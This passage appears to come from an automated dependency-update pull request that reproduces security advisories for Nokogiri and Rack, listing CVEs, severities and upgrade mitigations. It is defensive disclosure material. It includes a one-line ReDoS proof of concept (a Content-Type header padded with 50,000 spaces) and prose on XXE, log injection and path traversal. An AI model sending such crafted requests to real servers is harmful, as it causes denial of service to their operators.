2024-02-04 10:48 EST - updated GHSA to reflect libxml2 maintainers' confirmation of affected versions

2024-02-04 11:54 EST - v1.16.2 published, this GHSA made public

2024-02-05 10:18 EST - updated with MITRE link to the CVE information, and updated "Impact" section

2024-03-16 09:03 EDT - v1.15.6 published (see discussion at #3146), updated mitigation information

2024-03-18 22:12 EDT - update "affected products" range with v1.15.6 information

🚨 Nokogiri updates packaged libxml2 to v2.10.4 to resolve multiple CVEs

Summary

Nokogiri v1.14.3 upgrades the packaged version of its dependency libxml2 to v2.10.4 from v2.10.3.

libxml2 v2.10.4 addresses the following known vulnerabilities:

CVE-2023-29469: Hashing of empty dict strings isn't deterministic

CVE-2023-28484: Fix null deref in xmlSchemaFixupComplexType

Schemas: Fix null-pointer-deref in xmlSchemaCheckCOSSTDerivedOK

Please note that this advisory only applies to the CRuby implementation of Nokogiri < 1.14.3, and only if the packaged libraries are being used. If you've overridden defaults at installation time to use system libraries instead of packaged libraries, you should instead pay attention to your distro's libxml2 release announcements.

Mitigation

Upgrade to Nokogiri >= 1.14.3.

Users who are unable to upgrade Nokogiri may also choose a more complicated mitigation: compile and link Nokogiri against external libraries libxml2 >= 2.10.4 which will also address these same issues.

Impact

No public information has yet been published about the security-related issues other than the upstream commits. Examination of those changesets indicate that the more serious issues relate to libxml2 dereferencing NULL pointers and potentially segfaulting while parsing untrusted inputs.

The commits can be examined at:

[CVE-2023-29469] Hashing of empty dict strings isn't deterministic (09a2dd45) · Commits · GNOME / libxml2 · GitLab

[CVE-2023-28484] Fix null deref in xmlSchemaFixupComplexType (647e072e) · Commits · GNOME / libxml2 · GitLab

schemas: Fix null-pointer-deref in xmlSchemaCheckCOSSTDerivedOK (4c6922f7) · Commits · GNOME / libxml2 · GitLab

🚨 Unchecked return value from xmlTextReaderExpand

Summary

Nokogiri 1.13.8, 1.13.9 fails to check the return value from xmlTextReaderExpand in the method Nokogiri::XML::Reader#attribute_hash. This can lead to a null pointer exception when invalid markup is being parsed.

For applications using XML::Reader to parse untrusted inputs, this may potentially be a vector for a denial of service attack.

Mitigation

Upgrade to Nokogiri >= 1.13.10.

Users may be able to search their code for calls to either XML::Reader#attributes or XML::Reader#attribute_hash to determine if they are affected.

Severity

The Nokogiri maintainers have evaluated this as High Severity 7.5 (CVSS3.1).

References

CWE - CWE-252: Unchecked Return Value (4.9)

CWE - CWE-476: NULL Pointer Dereference (4.9)

Credit

This vulnerability was responsibly reported by @davidwilemski.

🚨 Update bundled libxml2 to v2.10.3 to resolve multiple CVEs

Summary

Nokogiri v1.13.9 upgrades the packaged version of its dependency libxml2 to v2.10.3 from v2.9.14.

libxml2 v2.10.3 addresses the following known vulnerabilities:

CVE-2022-2309

CVE-2022-40304

CVE-2022-40303

Please note that this advisory only applies to the CRuby implementation of Nokogiri < 1.13.9, and only if the packaged libraries are being used. If you've overridden defaults at installation time to use system libraries instead of packaged libraries, you should instead pay attention to your distro's libxml2 release announcements.

Mitigation

Upgrade to Nokogiri >= 1.13.9.

Users who are unable to upgrade Nokogiri may also choose a more complicated mitigation: compile and link Nokogiri against external libraries libxml2 >= 2.10.3 which will also address these same issues.

Impact

libxml2 CVE-2022-2309

CVSS3 score: Under evaluation

Type: Denial of service

Description: NULL Pointer Dereference allows attackers to cause a denial of service (or application crash). This only applies when lxml is used together with libxml2 2.9.10 through 2.9.14. libxml2 2.9.9 and earlier are not affected. It allows triggering crashes through forged input data, given a vulnerable code sequence in the application. The vulnerability is caused by the iterwalk function (also used by the canonicalize function). Such code shouldn't be in wide-spread use, given that parsing + iterwalk would usually be replaced with the more efficient iterparse function. However, an XML converter that serialises to C14N would also be vulnerable, for example, and there are legitimate use cases for this code sequence. If untrusted input is received (also remotely) and processed via iterwalk function, a crash can be triggered.

Nokogiri maintainers investigated at #2620 and determined this CVE does not affect Nokogiri users.

libxml2 CVE-2022-40304

CVSS3 score: Unspecified upstream

Type: Data corruption, denial of service

Description: When an entity reference cycle is detected, the entity content is cleared by setting its first byte to zero. But the entity content might be allocated from a dict. In this case, the dict entry becomes corrupted leading to all kinds of logic errors, including memory errors like double-frees.

See https://gitlab.gnome.org/GNOME/libxml2/-/commit/644a89e080bced793295f61f18aac8cfad6bece2

libxml2 CVE-2022-40303

CVSS3 score: Unspecified upstream

Type: Integer overflow

Description: Integer overflows with XML_PARSE_HUGE

See https://gitlab.gnome.org/GNOME/libxml2/-/commit/c846986356fc149915a74972bf198abc266bc2c0

References

libxml2 release notes

CVE-2022-2309

CVE-2022-40304

CVE-2022-40303

🚨 Nokogiri Implements libxml2 version vulnerable to use-after-free

There's a flaw in libxml2 in versions before 2.9.11. An attacker who is able to submit a crafted file to be processed by an application linked with libxml2 could trigger a use-after-free. The greatest impact from this flaw is to confidentiality, integrity, and availability.

🚨 Nokogiri has vulnerable dependencies on libxml2 and libxslt

Use after free in Blink XSLT in Google Chrome prior to 91.0.4472.164 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.

🚨 Nokogiri Implements libxml2 version vulnerable to null pointer dereferencing

A vulnerability found in libxml2 in versions before 2.9.11 shows that it did not propagate errors while parsing XML mixed content, causing a NULL dereference. If an untrusted XML document was parsed in recovery mode and post-validated, the flaw could be used to crash the application. The highest threat from this vulnerability is to system availability.

🚨 Nokogiri contains libxml Out-of-bounds Write vulnerability

There is a flaw in the xml entity encoding functionality of libxml2 in versions before 2.9.11. An attacker who is able to supply a crafted file to be processed by an application linked with the affected functionality of libxml2 could trigger an out-of-bounds read. The most likely impact of this flaw is to application availability, with some potential impact to confidentiality and integrity if an attacker is able to use memory information to further exploit the application.

Nokogiri prior to version 1.11.4 used a vulnerable version of libxml2. Nokogiri 1.11.4 updated libxml2 to version 2.9.11 to address this and other vulnerabilities in libxml2.

🚨 Nokogiri Improperly Handles Unexpected Data Type

Summary

Nokogiri < v1.13.6 does not type-check all inputs into the XML and HTML4 SAX parsers. For CRuby users, this may allow specially crafted untrusted inputs to cause illegal memory access errors (segfault) or reads from unrelated memory.

Severity

The Nokogiri maintainers have evaluated this as High 8.2 (CVSS3.1).

Mitigation

CRuby users should upgrade to Nokogiri >= 1.13.6.

JRuby users are not affected.

Workarounds

To avoid this vulnerability in affected applications, ensure the untrusted input is a String by calling #to_s or equivalent.

Credit

This vulnerability was responsibly reported by @agustingianni and the Github Security Lab.

🚨 Integer Overflow or Wraparound in libxml2 affects Nokogiri

Summary

Nokogiri v1.13.5 upgrades the packaged version of its dependency libxml2 from v2.9.13 to v2.9.14.

libxml2 v2.9.14 addresses CVE-2022-29824. This version also includes several security-related bug fixes for which CVEs were not created, including a potential double-free, potential memory leaks, and integer-overflow.

Please note that this advisory only applies to the CRuby implementation of Nokogiri < 1.13.5, and only if the packaged libraries are being used. If you've overridden defaults at installation time to use system libraries instead of packaged libraries, you should instead pay attention to your distro's libxml2 and libxslt release announcements.

Mitigation

Upgrade to Nokogiri >= 1.13.5.

Users who are unable to upgrade Nokogiri may also choose a more complicated mitigation: compile and link Nokogiri against external libraries libxml2 >= 2.9.14 which will also address these same issues.

Impact

libxml2 CVE-2022-29824

CVSS3 score:

Unspecified upstream

Nokogiri maintainers evaluate at 8.6 (High) (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H). Note that this is different from the CVSS assessed by NVD.

Type: Denial of service, information disclosure

Description: In libxml2 before 2.9.14, several buffer handling functions in buf.c (xmlBuf*) and tree.c (xmlBuffer*) don't check for integer overflows. This can result in out-of-bounds memory writes. Exploitation requires a victim to open a crafted, multi-gigabyte XML file. Other software using libxml2's buffer functions, for example libxslt through 1.1.35, is affected as well.

Fixed: https://gitlab.gnome.org/GNOME/libxml2/-/commit/2554a24

All versions of libml2 prior to v2.9.14 are affected.

Applications parsing or serializing multi-gigabyte documents (in excess of INT_MAX bytes) may be vulnerable to an integer overflow bug in buffer handling that could lead to exposure of confidential data, modification of unrelated data, or a segmentation fault resulting in a denial-of-service.

References

libxml2 v2.9.14 release notes

CVE-2022-29824

CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

🚨 Nokogiri Inefficient Regular Expression Complexity

Summary

Nokogiri < v1.13.4 contains an inefficient regular expression that is susceptible to excessive backtracking when attempting to detect encoding in HTML documents.

Mitigation

Upgrade to Nokogiri >= 1.13.4.

Severity

The Nokogiri maintainers have evaluated this as High Severity 7.5 (CVSS3.1).

References

CWE-1333 Inefficient Regular Expression Complexity

Credit

This vulnerability was reported by HackerOne user ooooooo_q (ななおく).

🚨 Denial of Service (DoS) in Nokogiri on JRuby

Summary

Nokogiri v1.13.4 updates the vendored org.cyberneko.html library to 1.9.22.noko2 which addresses CVE-2022-24839. That CVE is rated 7.5 (High Severity).

See GHSA-9849-p7jc-9rmv for more information.

Please note that this advisory only applies to the JRuby implementation of Nokogiri < 1.13.4.

Mitigation

Upgrade to Nokogiri >= 1.13.4.

Impact

CVE-2022-24839 in nekohtml

Severity: High 7.5

Type: CWE-400 Uncontrolled Resource Consumption

Description: The fork of org.cyberneko.html used by Nokogiri (Rubygem) raises a java.lang.OutOfMemoryError exception when parsing ill-formed HTML markup.

See also: GHSA-9849-p7jc-9rmv

🚨 Out-of-bounds Write in zlib affects Nokogiri

Summary

Nokogiri v1.13.4 updates the vendored zlib from 1.2.11 to 1.2.12, which addresses CVE-2018-25032. That CVE is scored as CVSS 7.4 "High" on the NVD record as of 2022-04-05.

Please note that this advisory only applies to the CRuby implementation of Nokogiri < 1.13.4, and only if the packaged version of zlib is being used. Please see this document for a complete description of which platform gems vendor zlib. If you've overridden defaults at installation time to use system libraries instead of packaged libraries, you should instead pay attention to your distro's zlib release announcements.

Mitigation

Upgrade to Nokogiri >= v1.13.4.

Impact

CVE-2018-25032 in zlib

Severity: High

Type: CWE-787 Out of bounds write

Description: zlib before 1.2.12 allows memory corruption when deflating (i.e., when compressing) if the input has many distant matches.

🚨 XML Injection in Xerces Java affects Nokogiri

Summary

Nokogiri v1.13.4 updates the vendored xerces:xercesImpl from 2.12.0 to 2.12.2, which addresses CVE-2022-23437. That CVE is scored as CVSS 6.5 "Medium" on the NVD record.

Please note that this advisory only applies to the JRuby implementation of Nokogiri < 1.13.4.

Mitigation

Upgrade to Nokogiri >= v1.13.4.

Impact

CVE-2022-23437 in xerces-J

Severity: Medium

Type: CWE-91 XML Injection (aka Blind XPath Injection)

Description: There's a vulnerability within the Apache Xerces Java (XercesJ) XML parser when handling specially crafted XML document payloads. This causes, the XercesJ XML parser to wait in an infinite loop, which may sometimes consume system resources for prolonged duration. This vulnerability is present within XercesJ version 2.12.1 and the previous versions.

See also: GHSA-h65f-jvqw-m9fj

🚨 Nokogiri affected by zlib's Out-of-bounds Write vulnerability

zlib 1.2.11 allows memory corruption when deflating (i.e., when compressing) if the input has many distant matches.

🚨 Vulnerable dependencies in Nokogiri

Summary

Nokogiri v1.13.2 upgrades two of its packaged dependencies:

vendored libxml2 from v2.9.12 to v2.9.13

vendored libxslt from v1.1.34 to v1.1.35

Those library versions address the following upstream CVEs:

libxslt: CVE-2021-30560 (CVSS 8.8, High severity)

libxml2: CVE-2022-23308 (Unspecified severity, see more information below)

Those library versions also address numerous other issues including performance improvements, regression fixes, and bug fixes, as well as memory leaks and other use-after-free issues that were not assigned CVEs.

Please note that this advisory only applies to the CRuby implementation of Nokogiri < 1.13.2, and only if the packaged libraries are being used. If you've overridden defaults at installation time to use system libraries instead of packaged libraries, you should instead pay attention to your distro's libxml2 and libxslt release announcements.

Mitigation

Upgrade to Nokogiri >= 1.13.2.

Users who are unable to upgrade Nokogiri may also choose a more complicated mitigation: compile and link an older version Nokogiri against external libraries libxml2 >= 2.9.13 and libxslt >= 1.1.35, which will also address these same CVEs.

Impact

libxslt CVE-2021-30560

CVSS3 score: 8.8 (High)

Fixed by https://gitlab.gnome.org/GNOME/libxslt/-/commit/50f9c9c

All versions of libxslt prior to v1.1.35 are affected.

Applications using untrusted XSL stylesheets to transform XML are vulnerable to a denial-of-service attack and should be upgraded immediately.

libxml2 CVE-2022-23308

As of the time this security advisory was published, there is no officially published information available about this CVE's severity. The above NIST link does not yet have a published record, and the libxml2 maintainer has declined to provide a severity score.

Fixed by https://gitlab.gnome.org/GNOME/libxml2/-/commit/652dd12

Further explanation is at https://mail.gnome.org/archives/xml/2022-February/msg00015.html

The upstream commit and the explanation linked above indicate that an application may be vulnerable to a denial of service, memory disclosure, or code execution if it parses an untrusted document with parse options DTDVALID set to true, and NOENT set to false.

An analysis of these parse options:

While NOENT is off by default for Document, DocumentFragment, Reader, and Schema parsing, it is on by default for XSLT (stylesheet) parsing in Nokogiri v1.12.0 and later.

DTDVALID is an option that Nokogiri does not set for any operations, and so this CVE applies only to applications setting this option explicitly.

It seems reasonable to assume that any application explicitly setting the parse option DTDVALID when parsing untrusted documents is vulnerable and should be upgraded immediately.

🚨 Improper Restriction of XML External Entity Reference (XXE) in Nokogiri on JRuby

Severity

The Nokogiri maintainers have evaluated this as High Severity 7.5 (CVSS3.0) for JRuby users. (This security advisory does not apply to CRuby users.)

Impact

In Nokogiri v1.12.4 and earlier, on JRuby only, the SAX parser resolves external entities by default.

Users of Nokogiri on JRuby who parse untrusted documents using any of these classes are affected:

Nokogiri::XML::SAX::Parser

Nokogiri::HTML4::SAX::Parser or its alias Nokogiri::HTML::SAX::Parser

Nokogiri::XML::SAX::PushParser

Nokogiri::HTML4::SAX::PushParser or its alias Nokogiri::HTML::SAX::PushParser

Mitigation

JRuby users should upgrade to Nokogiri v1.12.5 or later. There are no workarounds available for v1.12.4 or earlier.

CRuby users are not affected.

🚨 Nokogiri updates packaged dependency on libxml2 from 2.9.10 to 2.9.12

Summary

Nokogiri v1.11.4 updates the vendored libxml2 from v2.9.10 to v2.9.12 which addresses:

CVE-2019-20388 (Medium severity)

CVE-2020-24977 (Medium severity)

CVE-2021-3517 (Medium severity)

CVE-2021-3518 (Medium severity)

CVE-2021-3537 (Low severity)

CVE-2021-3541 (Low severity)

Note that two additional CVEs were addressed upstream but are not relevant to this release. CVE-2021-3516 via xmllint is not present in Nokogiri, and CVE-2020-7595 has been patched in Nokogiri since v1.10.8 (see #1992).

Please note that this advisory only applies to the CRuby implementation of Nokogiri < 1.11.4, and only if the packaged version of libxml2 is being used. If you've overridden defaults at installation time to use system libraries instead of packaged libraries, you should instead pay attention to your distro's libxml2 release announcements.

Mitigation

Upgrade to Nokogiri >= 1.11.4.

Impact

I've done a brief analysis of the published CVEs that are addressed in this upstream release. The libxml2 maintainers have not released a canonical set of CVEs, and so this list is pieced together from secondary sources and may be incomplete.

All information below is sourced from security.archlinux.org, which appears to have the most up-to-date information as of this analysis.

CVE-2019-20388

Severity: Medium

Type: Denial of service

Description: A memory leak was found in the xmlSchemaValidateStream function of libxml2. Applications that use this library may be vulnerable to memory not being freed leading to a denial of service.

Fixed: https://gitlab.gnome.org/GNOME/libxml2/commit/7ffcd44d7e6c46704f8af0321d9314cd26e0e18a

Verified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4.

CVE-2020-7595

Severity: Medium

Type: Denial of service

Description: xmlStringLenDecodeEntities in parser.c in libxml2 2.9.10 has an infinite loop in a certain end-of-file situation.

Fixed: https://gitlab.gnome.org/GNOME/libxml2/commit/0e1a49c8907645d2e155f0d89d4d9895ac5112b5

This has been patched in Nokogiri since v1.10.8 (see #1992).

CVE-2020-24977

Severity: Medium

Type: Information disclosure

Description: GNOME project libxml2 <= 2.9.10 has a global buffer over-read vulnerability in xmlEncodeEntitiesInternal at libxml2/entities.c.

Fixed: https://gitlab.gnome.org/GNOME/libxml2/commit/50f06b3efb638efb0abd95dc62dca05ae67882c2

Verified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4.

CVE-2021-3516

Severity: Medium

Type: Arbitrary code execution (no remote vector)

Description: A use-after-free security issue was found libxml2 before version 2.9.11 when "xmllint --html --push" is used to process crafted files.

Issue: https://gitlab.gnome.org/GNOME/libxml2/-/issues/230

Fixed: https://gitlab.gnome.org/GNOME/libxml2/-/commit/1358d157d0bd83be1dfe356a69213df9fac0b539

Verified that the fix commit first appears in v2.9.11. This vector does not exist within Nokogiri, which does not ship xmllint.

CVE-2021-3517

Severity: Medium

Type: Arbitrary code execution

Description: A heap-based buffer overflow was found in libxml2 before version 2.9.11 when processing truncated UTF-8 input.

Issue: https://gitlab.gnome.org/GNOME/libxml2/-/issues/235

Fixed: https://gitlab.gnome.org/GNOME/libxml2/-/commit/bf22713507fe1fc3a2c4b525cf0a88c2dc87a3a2

Verified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4.

CVE-2021-3518

Severity: Medium

Type: Arbitrary code execution

Description: A use-after-free security issue was found in libxml2 before version 2.9.11 in xmlXIncludeDoProcess() in xinclude.c when processing crafted files.

Issue: https://gitlab.gnome.org/GNOME/libxml2/-/issues/237

Fixed: https://gitlab.gnome.org/GNOME/libxml2/-/commit/1098c30a040e72a4654968547f415be4e4c40fe7

Verified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4.

CVE-2021-3537

Severity: Low

Type: Denial of service

Description: It was found that libxml2 before version 2.9.11 did not propagate errors while parsing XML mixed content, causing a NULL dereference. If an untrusted XML document was parsed in recovery mode and post-validated, the flaw could be used to crash the application.

Issue: https://gitlab.gnome.org/GNOME/libxml2/-/issues/243

Fixed: https://gitlab.gnome.org/GNOME/libxml2/-/commit/babe75030c7f64a37826bb3342317134568bef61

Verified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4.

CVE-2021-3541

Severity: Low

Type: Denial of service

Description: A security issue was found in libxml2 before version 2.9.11. Exponential entity expansion attack its possible bypassing all existing protection mechanisms and leading to denial of service.

Fixed: https://gitlab.gnome.org/GNOME/libxml2/-/commit/8598060bacada41a0eb09d95c97744ff4e428f8e

Verified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4, however Nokogiri's default parse options prevent the attack from succeeding (it is necessary to opt into DTDLOAD which is off by default).

For more details supporting this analysis of this CVE, please visit #2233.

🚨 Nokogiri::XML::Schema trusts input by default, exposing risk of XXE vulnerability

Severity

Nokogiri maintainers have evaluated this as Low Severity (CVSS3 2.6).

Description

In Nokogiri versions <= 1.11.0.rc3, XML Schemas parsed by Nokogiri::XML::Schema are trusted by default, allowing external resources to be accessed over the network, potentially enabling XXE or SSRF attacks.

This behavior is counter to the security policy followed by Nokogiri maintainers, which is to treat all input as untrusted by default whenever possible.

Please note that this security fix was pushed into a new minor version, 1.11.x, rather than a patch release to the 1.10.x branch, because it is a breaking change for some schemas and the risk was assessed to be "Low Severity".

Affected Versions

Nokogiri <= 1.10.10 as well as prereleases 1.11.0.rc1, 1.11.0.rc2, and 1.11.0.rc3

Mitigation

There are no known workarounds for affected versions. Upgrade to Nokogiri 1.11.0.rc4 or later.

If, after upgrading to 1.11.0.rc4 or later, you wish to re-enable network access for resolution of external resources (i.e., return to the previous behavior):

Ensure the input is trusted. Do not enable this option for untrusted input.

When invoking the Nokogiri::XML::Schema constructor, pass as the second parameter an instance of Nokogiri::XML::ParseOptions with the NONET flag turned off.

So if your previous code was:
# in v1.11.0.rc3 and earlier, this call allows resources to be accessed over the network
# but in v1.11.0.rc4 and later, this call will disallow network access for external resources
schema = Nokogiri::XML::Schema.new(schema)

# in v1.11.0.rc4 and later, the following is equivalent to the code above
# (the second parameter is optional, and this demonstrates its default value)
schema = Nokogiri::XML::Schema.new(schema, Nokogiri::XML::ParseOptions::DEFAULT_SCHEMA)
Then you can add the second parameter to indicate that the input is trusted by changing it to:
# in v1.11.0.rc3 and earlier, this would raise an ArgumentError 
# but in v1.11.0.rc4 and later, this allows resources to be accessed over the network
schema = Nokogiri::XML::Schema.new(trusted_schema, Nokogiri::XML::ParseOptions.new.nononet)
References

This issue's public advisory

Original Hackerone report (private)

OWASP description of XXE attack

OWASP description of SSRF attack

Credit

This vulnerability was independently reported by @eric-therond and @gucki.

The Nokogiri maintainers would like to thank HackerOne for providing a secure, responsible mechanism for reporting, and for providing their fantastic service to us.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ rack (indirect, 2.2.2 → 2.2.17) · Repo · Changelog

Security Advisories 🚨

🚨 Rack has an Unbounded-Parameter DoS in Rack::QueryParser

Summary

Rack::QueryParser parses query strings and application/x-www-form-urlencoded bodies into Ruby data structures without imposing any limit on the number of parameters, allowing attackers to send requests with extremely large numbers of parameters.

Details

The vulnerability arises because Rack::QueryParser iterates over each &-separated key-value pair and adds it to a Hash without enforcing an upper bound on the total number of parameters. This allows an attacker to send a single request containing hundreds of thousands (or more) of parameters, which consumes excessive memory and CPU during parsing.

Impact

An attacker can trigger denial of service by sending specifically crafted HTTP requests, which can cause memory exhaustion or pin CPU resources, stalling or crashing the Rack server. This results in full service disruption until the affected worker is restarted.

Mitigation

Update to a version of Rack that limits the number of parameters parsed, or

Use middleware to enforce a maximum query string size or parameter count, or

Employ a reverse proxy (such as Nginx) to limit request sizes and reject oversized query strings or bodies.

Limiting request body sizes and query string lengths at the web server or CDN level is an effective mitigation.

🚨 Rack session gets restored after deletion

Summary

When using the Rack::Session::Pool middleware, simultaneous rack requests can restore a deleted rack session, which allows the unauthenticated user to occupy that session.

Details

Rack session middleware prepares the session at the beginning of request, then saves is back to the store with possible changes applied by host rack application. This way the session becomes to be a subject of race conditions in general sense over concurrent rack requests.

Impact

When using the Rack::Session::Pool middleware, and provided the attacker can acquire a session cookie (already a major issue), the session may be restored if the attacker can trigger a long running request (within that same session) adjacent to the user logging out, in order to retain illicit access even after a user has attempted to logout.

Mitigation

Update to the latest version of rack, or

Ensure your application invalidates sessions atomically by marking them as logged out e.g., using a logged_out flag, instead of deleting them, and check this flag on every request to prevent reuse, or

Implement a custom session store that tracks session invalidation timestamps and refuses to accept session data if the session was invalidated after the request began.

Related

As this code was moved to rack-session in Rack 3+, see GHSA-9j94-67jr-4cqj for the equivalent advisory in rack-session (affecting Rack 3+ only).

🚨 Local File Inclusion in Rack::Static

Summary

Rack::Static can serve files under the specified root: even if urls: are provided, which may expose other files under the specified root: unexpectedly.

Details

The vulnerability occurs because Rack::Static does not properly sanitize user-supplied paths before serving files. Specifically, encoded path traversal sequences are not correctly validated, allowing attackers to access files outside the designated static file directory.

Impact

By exploiting this vulnerability, an attacker can gain access to all files under the specified root: directory, provided they are able to determine then path of the file.

Mitigation

Update to the latest version of Rack, or

Remove usage of Rack::Static, or

Ensure that root: points at a directory path which only contains files which should be accessed publicly.

It is likely that a CDN or similar static file server would also mitigate the issue.

🚨 Escape Sequence Injection vulnerability in Rack lead to Possible Log Injection

Summary

Rack::Sendfile can be exploited by crafting input that includes newline characters to manipulate log entries.

Details

The Rack::Sendfile middleware logs unsanitized header values from the X-Sendfile-Type header. An attacker can exploit this by injecting escape sequences (such as newline characters) into the header, resulting in log injection.

Impact

This vulnerability can distort log files, obscure attack traces, and complicate security auditing.

Mitigation

Update to the latest version of Rack, or

Remove usage of Rack::Sendfile.

🚨 Possible Log Injection in Rack::CommonLogger

Summary

Rack::CommonLogger can be exploited by crafting input that includes newline characters to manipulate log entries. The supplied proof-of-concept demonstrates injecting malicious content into logs.

Details

When a user provides the authorization credentials via Rack::Auth::Basic, if success, the username will be put in env['REMOTE_USER'] and later be used by Rack::CommonLogger for logging purposes.

The issue occurs when a server intentionally or unintentionally allows a user creation with the username contain CRLF and white space characters, or the server just want to log every login attempts. If an attacker enters a username with CRLF character, the logger will log the malicious username with CRLF characters into the logfile.

Impact

Attackers can break log formats or insert fraudulent entries, potentially obscuring real activity or injecting malicious data into log files.

Mitigation

Update to the latest version of Rack.

🚨 Rack vulnerable to ReDoS in content type parsing (2nd degree polynomial)

Summary
module Rack
  class MediaType
    SPLIT_PATTERN = %r{\s*[;,]\s*}
The above regexp is subject to ReDos. 50K blank characters as a prefix to the header will take over 10s to split.

PoC

A simple HTTP request with lots of blank characters in the content-type header:
request["Content-Type"] = (" " * 50_000) + "a,"
Impact

It's a very easy to craft ReDoS. Like all ReDoS the impact is debatable.

🚨 Rack has possible DoS Vulnerability with Range Header

Possible DoS Vulnerability with Range Header in Rack

There is a possible DoS vulnerability relating to the Range request header in
Rack. This vulnerability has been assigned the CVE identifier CVE-2024-26141.

Versions Affected: >= 1.3.0.
Not affected: < 1.3.0
Fixed Versions: 3.0.9.1, 2.2.8.1

Impact

Carefully crafted Range headers can cause a server to respond with an
unexpectedly large response. Responding with such large responses could lead
to a denial of service issue.

Vulnerable applications will use the Rack::File middleware or the
Rack::Utils.byte_ranges methods (this includes Rails applications).

Releases

The fixed releases are available at the normal locations.

Workarounds

There are no feasible workarounds for this issue.

Patches

To aid users who aren't able to upgrade immediately we have provided patches for
the two supported release series. They are in git-am format and consist of a
single changeset.

3-0-range.patch - Patch for 3.0 series

2-2-range.patch - Patch for 2.2 series

Credits

Thank you ooooooo_q for the report and
patch

🚨 Rack Header Parsing leads to Possible Denial of Service Vulnerability

Possible Denial of Service Vulnerability in Rack Header Parsing

There is a possible denial of service vulnerability in the header parsing
routines in Rack. This vulnerability has been assigned the CVE identifier
CVE-2024-26146.

Versions Affected: All.
Not affected: None
Fixed Versions: 2.0.9.4, 2.1.4.4, 2.2.8.1, 3.0.9.1

Impact

Carefully crafted headers can cause header parsing in Rack to take longer than
expected resulting in a possible denial of service issue. Accept and Forwarded
headers are impacted.

Ruby 3.2 has mitigations for this problem, so Rack applications using Ruby 3.2
or newer are unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

There are no feasible workarounds for this issue.

Patches

To aid users who aren't able to upgrade immediately we have provided patches for
the two supported release series. They are in git-am format and consist of a
single changeset.

2-0-header-redos.patch - Patch for 2.0 series

2-1-header-redos.patch - Patch for 2.1 series

2-2-header-redos.patch - Patch for 2.2 series

3-0-header-redos.patch - Patch for 3.0 series

Credits

Thanks to svalkanov for reporting this and
providing patches!

🚨 Possible Denial of Service Vulnerability in Rack's header parsing

There is a denial of service vulnerability in the header parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2023-27539.

Versions Affected: >= 2.0.0 Not affected: None. Fixed Versions: 2.2.6.4, 3.0.6.1

Impact

Carefully crafted input can cause header parsing in Rack to take an unexpected amount of time, possibly resulting in a denial of service attack vector. Any applications that parse headers using Rack (virtually all Rails applications) are impacted.

Workarounds

Setting Regexp.timeout in Ruby 3.2 is a possible workaround.

🚨 Rack has possible DoS Vulnerability in Multipart MIME parsing

There is a possible DoS vulnerability in the Multipart MIME parsing code in Rack. This vulnerability has been assigned the CVE identifier CVE-2023-27530.

Versions Affected: All. Not affected: None Fixed Versions: 3.0.4.2, 2.2.6.3, 2.1.4.3, 2.0.9.3

Impact

The Multipart MIME parsing code in Rack limits the number of file parts, but does not limit the total number of parts that can be uploaded. Carefully crafted requests can abuse this and cause multipart parsing to take longer than expected.

All users running an affected release should either upgrade or use one of the workarounds immediately.

Workarounds

A proxy can be configured to limit the POST body size which will mitigate this issue.

🚨 Denial of Service Vulnerability in Rack Content-Disposition parsing

There is a denial of service vulnerability in the Content-Disposition parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2022-44571.

Versions Affected: >= 2.0.0 Not affected: None. Fixed Versions: 2.0.9.2, 2.1.4.2, 2.2.6.1, 3.0.0.1
Impact

Carefully crafted input can cause Content-Disposition header parsing in Rack to take an unexpected amount of time, possibly resulting in a denial of service attack vector. This header is used typically used in multipart parsing. Any applications that parse multipart posts using Rack (virtually all Rails applications) are impacted.
Releases

The fixed releases are available at the normal locations.
Workarounds

There are no feasible workarounds for this issue.
Patches

To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.
2-0-Fix-ReDoS-vulnerability-in-multipart-parser - Patch for 2.0 series
2-1-Fix-ReDoS-vulnerability-in-multipart-parser - Patch for 2.1 series
2-2-Fix-ReDoS-vulnerability-in-multipart-parser - Patch for 2.2 series
3-0-Fix-ReDoS-vulnerability-in-multipart-parser - Patch for 3.0 series

🚨 Denial of service via header parsing in Rack

There is a possible denial of service vulnerability in the Range header parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2022-44570.

Versions Affected: >= 1.5.0 Not affected: None. Fixed Versions: 2.0.9.2, 2.1.4.2, 2.2.6.2, 3.0.0.1
Impact

Carefully crafted input can cause the Range header parsing component in Rack to take an unexpected amount of time, possibly resulting in a denial of service attack vector. Any applications that deal with Range requests (such as streaming applications, or applications that serve files) may be impacted.
Releases

The fixed releases are available at the normal locations.
Workarounds

There are no feasible workarounds for this issue.
Patches

To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.
2-0-Fix-ReDoS-in-Rack-Utils.get_byte_ranges.patch - Patch for 2.0 series
2-1-Fix-ReDoS-in-Rack-Utils.get_byte_ranges.patch - Patch for 2.1 series
2-2-Fix-ReDoS-in-Rack-Utils.get_byte_ranges.patch - Patch for 2.2 series
3-0-Fix-ReDoS-in-Rack-Utils.get_byte_ranges.patch - Patch for 3.0 series

🚨 Denial of service via multipart parsing in Rack

There is a denial of service vulnerability in the multipart parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2022-44572.

Versions Affected: >= 2.0.0 Not affected: None. Fixed Versions: 2.0.9.2, 2.1.4.2, 2.2.6.1, 3.0.0.1
Impact

Carefully crafted input can cause RFC2183 multipart boundary parsing in Rack to take an unexpected amount of time, possibly resulting in a denial of service attack vector. Any applications that parse multipart posts using Rack (virtually all Rails applications) are impacted.
Releases

The fixed releases are available at the normal locations.
Workarounds

There are no feasible workarounds for this issue.
Patches

